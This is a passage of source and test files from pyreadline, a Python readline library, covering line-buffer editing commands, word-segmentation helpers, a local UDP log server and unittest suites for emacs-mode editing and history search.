self.point = NextWordEnd
def backward_word_end(self, argument=1):
if argument < 0:
self.forward_word_end(-argument)
self.selection_mark = -1
for x in range(argument):
self.point = NextWordEnd
######### Movement select
def beginning_of_line_extend_selection(self):
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
self.point = StartOfLine
def end_of_line_extend_selection(self):
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
self.point = EndOfLine
def forward_char_extend_selection(self,argument=1):
if argument < 0:
self.backward_char_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = NextChar
def backward_char_extend_selection(self, argument=1):
if argument < 0:
self.forward_char_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = PrevChar
def forward_word_extend_selection(self, argument=1):
if argument < 0:
self.backward_word_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = NextWordStart
def backward_word_extend_selection(self, argument=1):
if argument < 0:
self.forward_word_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = PrevWordStart
def forward_word_end_extend_selection(self, argument=1):
if argument < 0:
self.backward_word_end_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = NextWordEnd
def backward_word_end_extend_selection(self, argument=1):
if argument < 0:
self.forward_word_end_extend_selection(-argument)
if self.enable_selection and self.selection_mark < 0:
self.selection_mark = self.point
for x in range(argument):
self.point = PrevWordEnd
######### delete
def delete_selection(self):
if self.enable_selection and self.selection_mark >= 0:
if self.selection_mark < self.point:
del self[self.selection_mark:self.point]
self.selection_mark = -1
else:
del self[self.point:self.selection_mark]
self.selection_mark = -1
return True
else:
self.selection_mark = -1
return False
def delete_char(self, argument=1):
if argument < 0:
self.backward_delete_char(-argument)
if self.delete_selection():
argument -= 1
for x in range(argument):
del self[Point]
def backward_delete_char(self, argument=1):
if argument < 0:
self.delete_char(-argument)
if self.delete_selection():
argument -= 1
for x in range(argument):
if self.point > 0:
self.backward_char()
self.delete_char()
def forward_delete_word(self, argument=1):
if argument < 0:
self.backward_delete_word(-argument)
if self.delete_selection():
argument -= 1
for x in range(argument):
del self[Point:NextWordStart]
def backward_delete_word(self, argument=1):
if argument < 0:
self.forward_delete_word(-argument)
if self.delete_selection():
argument -= 1
for x in range(argument):
del self[PrevWordStart:Point]
def delete_current_word(self):
if not self.delete_selection():
del self[CurrentWord]
self.selection_mark =- 1
def delete_horizontal_space(self):
if self[Point] in " \t":
del self[PrevWordEnd:NextWordStart]
self.selection_mark = -1
######### Case
def upcase_word(self):
p = self.point
try:
self[CurrentWord] = self[CurrentWord].upper()
self.point = p
except NotAWordError:
pass
def downcase_word(self):
p = self.point
try:
self[CurrentWord] = self[CurrentWord].lower()
self.point = p
except NotAWordError:
pass
def capitalize_word(self):
p = self.point
try:
self[CurrentWord] = self[CurrentWord].capitalize()
self.point = p
except NotAWordError:
pass
########### Transpose
def transpose_chars(self):
p2 = Point(self)
if p2 == 0:
return
elif p2 == len(self):
p2 = p2 - 1
p1 = p2 - 1
self[p2], self[p1] = self[p1], self[p2]
self.point = p2 + 1
def transpose_words(self):
word1 = TextLine(self)
word2 = TextLine(self)
if self.point == len(self):
word2.point = PrevWordStart
word1.point = PrevWordStart(word2)
else:
word1.point = PrevWordStart
word2.point = NextWordStart
stop1 = NextWordEnd(word1)
stop2 = NextWordEnd(word2)
start1 = word1.point
start2 = word2.point
self[start2:stop2] = word1[Point:NextWordEnd]
self[start1:stop1] = word2[Point:NextWordEnd]
self.point = stop2
############ Kill
def kill_line(self):
self.add_to_kill_ring(self[self.point:])
del self.line_buffer[self.point:]
def kill_whole_line(self):
self.add_to_kill_ring(self[:])
del self[:]
def backward_kill_line(self):
del self[StartOfLine:Point]
def unix_line_discard(self):
del self[StartOfLine:Point]
pass
def kill_word(self):
"""Kills to next word ending"""
del self[Point:NextWordEnd]
def backward_kill_word(self):
"""Kills to next word ending"""
if not self.delete_selection():
del self[PrevWordStart:Point]
self.selection_mark = -1
def forward_kill_word(self):
"""Kills to next word ending"""
if not self.delete_selection():
del self[Point:NextWordEnd]
self.selection_mark = -1
def unix_word_rubout(self):
if not self.delete_selection():
del self[PrevSpace:Point]
self.selection_mark = -1
def kill_region(self):
pass
def copy_region_as_kill(self):
pass
def copy_backward_word(self):
pass
def copy_forward_word(self):
pass
def yank(self):
self.paste_from_kill_ring()
def yank_pop(self):
pass
############## Mark
def set_mark(self):
self.mark = self.point
def exchange_point_and_mark(self):
pass
def copy_region_to_clipboard(self): # ()
u'''Copy the text in the region to the windows clipboard.'''
if self.enable_win32_clipboard:
mark = min(self.mark, len(self.line_buffer))
cursor = min(self.point, len(self.line_buffer))
if self.mark == -1:
return
begin = min(cursor, mark)
end = max(cursor, mark)
toclipboard = u"".join(self.line_buffer[begin:end])
clipboard.SetClipboardText(toclipboard)
def copy_selection_to_clipboard(self): # ()
u'''Copy the text in the region to the windows clipboard.'''
if self.enable_win32_clipboard and self.enable_selection and self.selection_mark >= 0:
selection_mark = min(self.selection_mark,len(self.line_buffer))
cursor = min(self.point,len(self.line_buffer))
if self.selection_mark == -1:
return
begin = min(cursor, selection_mark)
end = max(cursor, selection_mark)
toclipboard = u"".join(self.line_buffer[begin:end])
clipboard.SetClipboardText(toclipboard)
def cut_selection_to_clipboard(self): # ()
self.copy_selection_to_clipboard()
self.delete_selection()
############## Paste
############## Kill ring
def add_to_kill_ring(self,txt):
self.kill_ring = [txt]
if kill_ring_to_clipboard:
clipboard.SetClipboardText(txt.get_line_text())
def paste_from_kill_ring(self):
if self.kill_ring:
self.insert_text(self.kill_ring[0])
##################################################################
q = ReadLineTextBuffer(u"asff asFArw ewrWErhg", point=8)
q = TextLine(u"asff asFArw ewrWErhg", point=8)
def show_pos(buff, pos, chr = u"."):
l = len(buff.line_buffer)
def choice(bool):
if bool:
return chr
else:
return u" "
return u"".join([choice(pos==idx) for idx in range(l + 1)])
def test_positioner(buff, points, positioner):
print (u" %s "%positioner.__class__.__name__).center(40, u"-")
buffstr = buff.line_buffer
print u'"%s"'%(buffstr)
for point in points:
b = TextLine(buff, point = point)
out=[u" "] * (len(buffstr) + 1)
pos = positioner(b)
if pos == point:
out[pos] = u"&"
else:
out[point] = u"."
out[pos] = u"^"
print u'"%s"'%(u"".join(out))
if __name__ == "__main__":
print u'%-15s "%s"'%(u"Position", q.get_line_text())
print u'%-15s "%s"'%(u"Point", show_pos(q, q.point))
for name, positioner in all_positioners:
pos = positioner(q)
[]
print u'%-15s "%s"'%(name, show_pos(q, pos, u"^"))
l = ReadLineTextBuffer(u"kjjk asads asad")
l.point = EndOfLine

View file

@ -0,0 +1,102 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import re, operator
def str_find_all(str, ch):
result = []
index = 0
while index >= 0:
index = str.find(ch, index)
if index >= 0:
result.append(index)
index += 1
return result
word_pattern = re.compile(u"(x*)")
def markwords(str, iswordfun):
markers = {True : u"x", False : u"o"}
return "".join([markers[iswordfun(ch)] for ch in str])
def split_words(str, iswordfun):
return [x for x in word_pattern.split(markwords(str,iswordfun)) if x != u""]
def mark_start_segment(str, is_segment):
def mark_start(s):
if s[0:1] == u"x":
return u"s" + s[1:]
else:
return s
return u"".join(map(mark_start, split_words(str, is_segment)))
def mark_end_segment(str, is_segment):
def mark_start(s):
if s[0:1] == u"x":
return s[:-1] + u"s"
else:
return s
return u"".join(map(mark_start, split_words(str, is_segment)))
def mark_start_segment_index(str, is_segment):
return str_find_all(mark_start_segment(str, is_segment), u"s")
def mark_end_segment_index(str, is_segment):
return [x + 1 for x in str_find_all(mark_end_segment(str, is_segment), u"s")]
################ Following are used in lineobj ###########################
def is_word_token(str):
return not is_non_word_token(str)
def is_non_word_token(str):
if len(str) != 1 or str in u" \t\n":
return True
else:
return False
def next_start_segment(str, is_segment):
str = u"".join(str)
result = []
for start in mark_start_segment_index(str, is_segment):
result[len(result):start] = [start for x in range(start - len(result))]
result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
return result
def next_end_segment(str, is_segment):
str = u"".join(str)
result = []
for start in mark_end_segment_index(str, is_segment):
result[len(result):start] = [start for x in range(start - len(result))]
result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
return result
def prev_start_segment(str, is_segment):
str = u"".join(str)
result = []
prev = 0
for start in mark_start_segment_index(str, is_segment):
result[len(result):start+1] = [prev for x in range(start - len(result) + 1)]
prev=start
result[len(result):len(str)] = [prev for x in range(len(str) - len(result) + 1)]
return result
def prev_end_segment(str, is_segment):
str = u"".join(str)
result = []
prev = 0
for start in mark_end_segment_index(str, is_segment):
result[len(result):start + 1] = [prev for x in range(start - len(result) + 1)]
prev=start
result[len(result):len(str)] = [len(str) for x in range(len(str) - len(result) + 1)]
return result

Binary file not shown.

View file

@ -0,0 +1,57 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Jorgen Stenarson. <jorgen.stenarson@bostream.nu>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import cPickle
import logging
import logging.handlers
import SocketServer
import struct,socket
try:
import msvcrt
except ImportError:
msvcrt = None
print u"problem"
port = logging.handlers.DEFAULT_TCP_LOGGING_PORT
host = u'localhost'
def check_key():
if msvcrt is None:
return False
else:
if msvcrt.kbhit() != 0:
q = msvcrt.getch()
return q
return u""
singleline=False
def main():
print u"Starting TCP logserver on port:", port
print u"Press q to quit logserver", port
print u"Press c to clear screen", port
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((u"", port))
s.settimeout(1)
while 1:
try:
data, addr = s.recvfrom(100000)
print data,
except socket.timeout:
key = check_key().lower()
if u"q" == key:
print u"Quitting logserver"
break
elif u"c" == key:
print u"\n" * 100
if __name__ == u"__main__":
main()

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,82 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Michael Graz. <mgraz@plan10.com>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
from pyreadline.modes.emacs import *
from pyreadline import keysyms
from pyreadline.lineeditor import lineobj
from pyreadline.keysyms.common import make_KeyPress_from_keydescr
import unittest
class MockReadline:
def __init__ (self):
self.l_buffer=lineobj.ReadLineTextBuffer(u"")
self._history=history.LineHistory()
def add_history (self, line):
self._history.add_history (lineobj.TextLine (line))
def _print_prompt (self):
pass
def _bell (self):
pass
def insert_text(self, string):
u'''Insert text into the command line.'''
self.l_buffer.insert_text(string)
class MockConsole:
def __init__ (self):
self.bell_count = 0
self.text = ''
def size (self):
return (1, 1)
def cursor(self, visible=None, size=None):
pass
def bell (self):
self.bell_count += 1
def write (self, text):
self.text += text
class Event:
def __init__ (self, char):
if char==u"escape":
self.char=u'\x1b'
elif char==u"backspace":
self.char=u'\x08'
elif char==u"tab":
self.char=u'\t'
elif char==u"space":
self.char=u' '
else:
self.char = char
def keytext_to_keyinfo_and_event (keytext):
keyinfo = keysyms.common.make_KeyPress_from_keydescr (keytext)
if len(keytext) == 3 and keytext[0] == u'"' and keytext[2] == u'"':
event = Event (keytext[1])
else:
event = Event (keyinfo.tuple() [3])
return keyinfo, event
#override runTests from from main in unittest to remove sys.exit call
class Tester(unittest.TestProgram):
def runTests(self):
if self.testRunner is None:
self.testRunner = unittest.TextTestRunner(verbosity=self.verbosity)
result = self.testRunner.run(self.test)
# sys.exit(not result.wasSuccessful())

View file

@ -0,0 +1,400 @@
# -*- coding: utf-8 -*-
#*****************************************************************************
# Copyright (C) 2006 Michael Graz. <mgraz@plan10.com>
# Copyright (C) 2006 Michael Graz. <mgraz@plan10.com>
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#*****************************************************************************
import sys, unittest
import pdb
sys.path.append (u'../..')
from pyreadline.modes.emacs import *
from pyreadline import keysyms
from pyreadline.lineeditor import lineobj
from common import *
from pyreadline.logger import log
import pyreadline.logger as logger
logger.sock_silent=True
logger.show_event=[u"debug"]
#----------------------------------------------------------------------
class EmacsModeTest (EmacsMode):
tested_commands={}
def __init__ (self):
EmacsMode.__init__ (self, MockReadline())
self.mock_console = MockConsole ()
self.init_editing_mode (None)
self.lst_completions = []
self.completer = self.mock_completer
self.completer_delims = u' u'
self.tabstop = 4
self.mark_directories=False
self.show_all_if_ambiguous=False
def get_mock_console (self):
return self.mock_console
console = property (get_mock_console)
def _set_line (self, text):
self.l_buffer.set_line (text)
def get_line (self):
return self.l_buffer.get_line_text ()
line = property (get_line)
def get_line_cursor (self):
return self.l_buffer.point
line_cursor = property (get_line_cursor)
def input (self, keytext):
if keytext[0:1] == u'"' and keytext[-1:] == u'"':
lst_key = [u'"%s"' % c for c in keytext[1:-1]]
else:
lst_key = [keytext]
for key in lst_key:
keyinfo, event = keytext_to_keyinfo_and_event (key)
dispatch_func = self.key_dispatch.get(keyinfo.tuple(),self.self_insert)
self.tested_commands[dispatch_func.__name__]=dispatch_func
log(u"keydisp: %s %s"%( key,dispatch_func.__name__))
dispatch_func (event)
self.previous_func=dispatch_func
def accept_line (self, e):
if EmacsMode.accept_line (self, e):
# simulate return
# self.add_history (self.line)
self.l_buffer.reset_line ()
def mock_completer (self, text, state):
return self.lst_completions [state]
#----------------------------------------------------------------------
class TestsKeyinfo (unittest.TestCase):
def test_keyinfo (self):
keyinfo, event = keytext_to_keyinfo_and_event (u'"d"')
self.assertEqual (u'd', event.char)
keyinfo, event = keytext_to_keyinfo_and_event (u'"D"')
self.assertEqual (u'D', event.char)
keyinfo, event = keytext_to_keyinfo_and_event (u'"$"')
self.assertEqual (u'$', event.char)
keyinfo, event = keytext_to_keyinfo_and_event (u'Escape')
self.assertEqual (u'\x1b', event.char)
class TestsMovement (unittest.TestCase):
def test_cursor (self):
r = EmacsModeTest ()
self.assertEqual (r.line, u'')
r.input(u'"First Second Third"')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Control-a')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 0)
r.input(u'Control-e')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Home')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 0)
r.input(u'Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 1)
r.input(u'Ctrl-f')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 2)
r.input(u'Ctrl-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 5)
r.input(u'Ctrl-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 12)
r.input(u'Ctrl-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Ctrl-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Ctrl-Left')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 13)
r.input(u'Ctrl-Left')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 6)
r.input(u'Ctrl-Left')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 0)
r.input(u'Ctrl-Left')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 0)
class TestsDelete (unittest.TestCase):
def test_delete (self):
r = EmacsModeTest ()
self.assertEqual (r.line, u'')
r.input(u'"First Second Third"')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Delete')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Left')
r.input(u'Left')
r.input(u'Delete')
self.assertEqual (r.line, u'First Second Thid')
self.assertEqual (r.line_cursor, 16)
r.input(u'Delete')
self.assertEqual (r.line, u'First Second Thi')
self.assertEqual (r.line_cursor, 16)
r.input(u'Backspace')
self.assertEqual (r.line, u'First Second Th')
self.assertEqual (r.line_cursor, 15)
r.input(u'Home')
r.input(u'Right')
r.input(u'Right')
self.assertEqual (r.line, u'First Second Th')
self.assertEqual (r.line_cursor, 2)
r.input(u'Backspace')
self.assertEqual (r.line, u'Frst Second Th')
self.assertEqual (r.line_cursor, 1)
r.input(u'Backspace')
self.assertEqual (r.line, u'rst Second Th')
self.assertEqual (r.line_cursor, 0)
r.input(u'Backspace')
self.assertEqual (r.line, u'rst Second Th')
self.assertEqual (r.line_cursor, 0)
r.input(u'Escape')
self.assertEqual (r.line, u'')
self.assertEqual (r.line_cursor, 0)
def test_delete_word (self):
r = EmacsModeTest ()
self.assertEqual (r.line, u'')
r.input(u'"First Second Third"')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
r.input(u'Control-Backspace')
self.assertEqual (r.line, u'First Second ')
self.assertEqual (r.line_cursor, 13)
r.input(u'Backspace')
r.input(u'Left')
r.input(u'Left')
self.assertEqual (r.line, u'First Second')
self.assertEqual (r.line_cursor, 10)
r.input(u'Control-Backspace')
self.assertEqual (r.line, u'First nd')
self.assertEqual (r.line_cursor, 6)
r.input(u'Escape')
self.assertEqual (r.line, u'')
self.assertEqual (r.line_cursor, 0)
r.input(u'"First Second Third"')
r.input(u'Home')
r.input(u'Right')
r.input(u'Right')
r.input(u'Control-Delete')
self.assertEqual (r.line, u'FiSecond Third')
self.assertEqual (r.line_cursor, 2)
r.input(u'Control-Delete')
self.assertEqual (r.line, u'FiThird')
self.assertEqual (r.line_cursor, 2)
r.input(u'Control-Delete')
self.assertEqual (r.line, u'Fi')
self.assertEqual (r.line_cursor, 2)
r.input(u'Control-Delete')
self.assertEqual (r.line, u'Fi')
self.assertEqual (r.line_cursor, 2)
r.input(u'Escape')
self.assertEqual (r.line, u'')
self.assertEqual (r.line_cursor, 0)
class TestsSelectionMovement (unittest.TestCase):
def test_cursor (self):
r = EmacsModeTest ()
self.assertEqual (r.line, u'')
r.input(u'"First Second Third"')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 18)
self.assertEqual (r.l_buffer.selection_mark, -1)
r.input(u'Home')
r.input(u'Shift-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 1)
self.assertEqual (r.l_buffer.selection_mark, 0)
r.input(u'Shift-Control-Right')
self.assertEqual (r.line, u'First Second Third')
self.assertEqual (r.line_cursor, 5)
self.assertEqual (r.l_buffer.selection_mark, 0)
r.input(u'"a"')
self.assertEqual (r.line, u'a Second Third')
self.assertEqual (r.line_cursor, 1)
self.assertEqual (r.l_buffer.selection_mark, -1)
r.input(u'Shift-End')
self.assertEqual (r.line, u'a Second Third')
self.assertEqual (r.line_cursor, 14)
self.assertEqual (r.l_buffer.selection_mark, 1)
r.input(u'Delete')
self.assertEqual (r.line, u'a')
self.assertEqual (r.line_cursor, 1)
self.assertEqual (r.l_buffer.selection_mark, -1)
class TestsHistory (unittest.TestCase):
def test_history_1 (self):
r = EmacsModeTest ()
r.add_history (u'aa')
r.add_history (u'bbb')
self.assertEqual (r.line, u'')
r.input (u'Up')
self.assertEqual (r.line, u'bbb')
self.assertEqual (r.line_cursor, 3)
r.input (u'Up')
self.assertEqual (r.line, u'aa')
self.assertEqual (r.line_cursor, 2)
r.input (u'Up')
self.assertEqual (r.line, u'aa')
self.assertEqual (r.line_cursor, 2)
r.input (u'Down')
self.assertEqual (r.line, u'bbb')
self.assertEqual (r.line_cursor, 3)
r.input (u'Down')
self.assertEqual (r.line, u'')
self.assertEqual (r.line_cursor, 0)
def test_history_2 (self):
r = EmacsModeTest ()
r.add_history (u'aaaa')
r.add_history (u'aaba')
r.add_history (u'aaca')
r.add_history (u'akca')
r.add_history (u'bbb')
r.add_history (u'ako')
self.assert_line(r,'',0)
r.input (u'"a"')
r.input (u'Up')
self.assert_line(r,'ako',1)
r.input (u'Up')
self.assert_line(r,'akca',1)
r.input (u'Up')
self.assert_line(r,'aaca',1)
r.input (u'Up')
self.assert_line(r,'aaba',1)
r.input (u'Up')
self.assert_line(r,'aaaa',1)
r.input (u'Right')
self.assert_line(r,'aaaa',2)
r.input (u'Down')
self.assert_line(r,'aaba',2)
r.input (u'Down')
self.assert_line(r,'aaca',2)
r.input (u'Down')
self.assert_line(r,'aaca',2)
r.input (u'Left')
r.input (u'Left')
r.input (u'Down')
r.input (u'Down')
self.assert_line(r,'bbb',3)
r.input (u'Left')
self.assert_line(r,'bbb',2)
r.input (u'Down')
self.assert_line(r,'bbb',2)
r.input (u'Up')
self.assert_line(r,'bbb',2)
def test_history_3 (self):
r = EmacsModeTest ()
r.add_history (u'aaaa')
r.add_history (u'aaba')
r.add_history (u'aaca')
r.add_history (u'akca')
r.add_history (u'bbb')
r.add_history (u'ako')
self.assert_line(r,'',0)
r.input (u'')
r.input (u'Up')
self.assert_line(r,'ako',3)
r.input (u'Down')
self.assert_line(r,'',0)
r.input (u'Up')
self.assert_line(r,'ako',3)
def test_history_3 (self):
r = EmacsModeTest ()
r.add_history (u'aaaa')
r.add_history (u'aaba')
r.add_history (u'aaca')
r.add_history (u'akca')
r.add_history (u'bbb')
r.add_history (u'ako')
self.assert_line(r,'',0)
r.input (u'k')
r.input (u'Up')
self.assert_line(r,'k',1)
def test_complete (self):
import rlcompleter
logger.sock_silent = False
log("-" * 50)
r = EmacsModeTest()
completerobj = rlcompleter.Completer()
def _nop(val, word):
return word
completerobj._callable_postfix = _nop
r.completer = completerobj.complete
r._bind_key("tab", r.complete)
r.input(u'"exi(ksdjksjd)"')
r.input(u'Control-a')
r.input(u'Right')
r.input(u'Right')
r.input(u'Right')
r.input(u'Tab')
self.assert_line(r, u"exit(ksdjksjd)", 4)
r.input(u'Escape')
r.input(u'"exi"')
r.input(u'Control-a')
r.input(u'Right')
r.input(u'Right')
r.input(u'Right')
r.input(u'Tab')
self.assert_line(r, u"exit", 4)
def assert_line(self,r,line,cursor):
self.assertEqual (r.line, line)
self.assertEqual (r.line_cursor, cursor)
#----------------------------------------------------------------------
# utility functions
#----------------------------------------------------------------------
if __name__ == u'__main__':
Tester()
tested=EmacsModeTest.tested_commands.keys()
tested.sort()
# print " Tested functions ".center(60,"-")
# print "\n".join(tested)
# print
all_funcs=dict([(x.__name__,x) for x in EmacsModeTest().key_dispatch.values()])
all_funcs=all_funcs.keys()
not_tested=[x for x in all_funcs if x not in tested]
not_tested.sort()
print " Not tested functions ".center(60,"-")
print "\n".join(not_tested)

View file

@ -0,0 +1,148 @@
# -*- coding: UTF-8 -*-
# Copyright (C) 2007 Jörgen Stenarson. <>
import sys, unittest
sys.path.append (u'../..')
#from pyreadline.modes.vi import *
#from pyreadline import keysyms
from pyreadline.lineeditor import lineobj
from pyreadline.lineeditor.history import LineHistory
import pyreadline.lineeditor.history as history
import pyreadline.logger
pyreadline.logger.sock_silent=False
from pyreadline.logger import log
#----------------------------------------------------------------------
#----------------------------------------------------------------------
RL=lineobj.ReadLineTextBuffer
class Test_prev_next_history(unittest.TestCase):
t = u"test text"
def setUp(self):
self.q = q = LineHistory()
for x in [u"aaaa", u"aaba", u"aaca", u"akca", u"bbb", u"ako"]:
q.add_history(RL(x))
def test_previous_history (self):
hist = self.q
assert hist.history_cursor == 6
l = RL(u"")
hist.previous_history(l)
assert l.get_line_text() == u"ako"
hist.previous_history(l)
assert l.get_line_text() == u"bbb"
hist.previous_history(l)
assert l.get_line_text() == u"akca"
hist.previous_history(l)
assert l.get_line_text() == u"aaca"
hist.previous_history(l)
assert l.get_line_text() == u"aaba"
hist.previous_history(l)
assert l.get_line_text() == u"aaaa"
hist.previous_history(l)
assert l.get_line_text() == u"aaaa"
def test_next_history (self):
hist=self.q
hist.beginning_of_history()
assert hist.history_cursor==0
l=RL(u"")
hist.next_history(l)
assert l.get_line_text()==u"aaba"
hist.next_history(l)
assert l.get_line_text()==u"aaca"
hist.next_history(l)
assert l.get_line_text()==u"akca"
hist.next_history(l)
assert l.get_line_text()==u"bbb"
hist.next_history(l)
assert l.get_line_text()==u"ako"
hist.next_history(l)
assert l.get_line_text()==u"ako"
class Test_prev_next_history(unittest.TestCase):
t = u"test text"
def setUp(self):
self.q = q = LineHistory()
for x in [u"aaaa",u"aaba",u"aaca",u"akca",u"bbb",u"ako"]:
q.add_history(RL(x))
def test_history_search_backward (self):
q = LineHistory()
for x in [u"aaaa",u"aaba",u"aaca",u" aacax",u"akca",u"bbb",u"ako"]:
q.add_history(RL(x))
a=RL(u"aa",point=2)
for x in [u"aaca",u"aaba",u"aaaa",u"aaaa"]:
res=q.history_search_backward(a)
assert res.get_line_text()==x
def test_history_search_forward (self):
q = LineHistory()
for x in [u"aaaa",u"aaba",u"aaca",u" aacax",u"akca",u"bbb",u"ako"]:
q.add_history(RL(x))
q.beginning_of_history()
a=RL(u"aa",point=2)
for x in [u"aaba",u"aaca",u"aaca"]:
res=q.history_search_forward(a)
assert res.get_line_text()==x
class Test_history_search_incr_fwd_backwd(unittest.TestCase):
def setUp(self):
self.q = q = LineHistory()
for x in [u"aaaa",u"aaba",u"aaca",u"akca",u"bbb",u"ako"]:
q.add_history(RL(x))
def test_backward_1(self):
q = self.q
self.assertEqual(q.reverse_search_history(u"b"), u"bbb")
self.assertEqual(q.reverse_search_history(u"b"), u"aaba")
self.assertEqual(q.reverse_search_history(u"bb"), u"aaba")
def test_backward_2(self):
q = self.q
self.assertEqual(q.reverse_search_history(u"a"), u"ako")
self.assertEqual(q.reverse_search_history(u"aa"), u"aaca")
self.assertEqual(q.reverse_search_history(u"a"), u"aaca")
self.assertEqual(q.reverse_search_history(u"ab"), u"aaba")
def test_forward_1(self):
q = self.q
self.assertEqual(q.forward_search_history(u"a"), u"ako")
def test_forward_2(self):
q = self.q
q.history_cursor = 0
self.assertEqual(q.forward_search_history(u"a"), u"aaaa")
self.assertEqual(q.forward_search_history(u"a"), u"aaba")
self.assertEqual(q.forward_search_history(u"ak"), u"akca")
self.assertEqual(q.forward_search_history(u"akl"), u"akca")
self.assertEqual(q.forward_search_history(u"ak"), u"akca")
self.assertEqual(q.forward_search_history(u"ako"), u"ako")
class Test_empty_history_search_incr_fwd_backwd(unittest.TestCase):
def setUp(self):
self.q = q = LineHistory()
def test_backward_1(self):
q = self.q
self.assertEqual(q.reverse_search_history(u"b"), u"")
def test_forward_1(self):
q = self.q
self.assertEqual(q.forward_search_history(u"a"), u"")
#----------------------------------------------------------------------
# utility functions
#----------------------------------------------------------------------
if __name__ == u'__main__':
unittest.main()
l=lineobj.ReadLineTextBuffer(u"First Second Third")

View file

@ -0,0 +1,390 @@
# Copyright (C) 2006 Michael Graz. <mgraz@plan10.com>
import sys, unittest
sys.path.append (u'../..')
#from pyreadline.modes.vi import *
#from pyreadline import keysyms
from pyreadline.lineeditor import lineobj
#----------------------------------------------------------------------
#----------------------------------------------------------------------
class Test_copy (unittest.TestCase):
def test_copy1 (self):
l=lineobj.ReadLineTextBuffer(u"first second")
q=l.copy()
self.assertEqual(q.get_line_text(),l.get_line_text())
self.assertEqual(q.point,l.point)
self.assertEqual(q.mark,l.mark)
def test_copy2 (self):
l=lineobj.ReadLineTextBuffer(u"first second",point=5)
q=l.copy()
self.assertEqual(q.get_line_text(),l.get_line_text())
self.assertEqual(q.point,l.point)
self.assertEqual(q.mark,l.mark)
class Test_linepos (unittest.TestCase):
t="test text"
def test_NextChar (self):
t=self.t
l=lineobj.ReadLineTextBuffer(t)
for i in range(len(t)):
self.assertEqual(i,l.point)
l.point=lineobj.NextChar
#advance past end of buffer
l.point=lineobj.NextChar
self.assertEqual(len(t),l.point)
def test_PrevChar (self):
t=self.t
l=lineobj.ReadLineTextBuffer(t,point=len(t))
for i in range(len(t)):
self.assertEqual(len(t)-i,l.point)
l.point=lineobj.PrevChar
#advance past beginning of buffer
l.point=lineobj.PrevChar
self.assertEqual(0,l.point)
def test_EndOfLine (self):
t=self.t
l=lineobj.ReadLineTextBuffer(t,point=len(t))
for i in range(len(t)):
l.point=i
l.point=lineobj.EndOfLine
self.assertEqual(len(t),l.point)
def test_StartOfLine (self):
t=self.t
l=lineobj.ReadLineTextBuffer(t,point=len(t))
for i in range(len(t)):
l.point=i
l.point=lineobj.StartOfLine
self.assertEqual(0,l.point)
class Tests_linepos2(Test_linepos):
t="kajkj"
class Tests_linepos3(Test_linepos):
t=""
class Test_movement (unittest.TestCase):
def test_NextChar (self):
cmd=lineobj.NextChar
tests=[
# u"First"
(cmd,
u"First",
u"# u",
u" # u"),
(cmd,
u"First",
u" # u",
u" #"),
(cmd,
u"First",
u" #",
u" #"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_PrevChar (self):
cmd=lineobj.PrevChar
tests=[
# u"First"
(cmd,
u"First",
u" #",
u" # u"),
(cmd,
u"First",
u" # u",
u"# u"),
(cmd,
u"First",
u"# u",
u"# u"),
]
for cmd,text,init_point,expected_point in tests:
l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
l.point=cmd
self.assertEqual(get_point_pos(expected_point),l.point)
def test_PrevWordStart (self):
cmd=lineobj.PrevWordStart
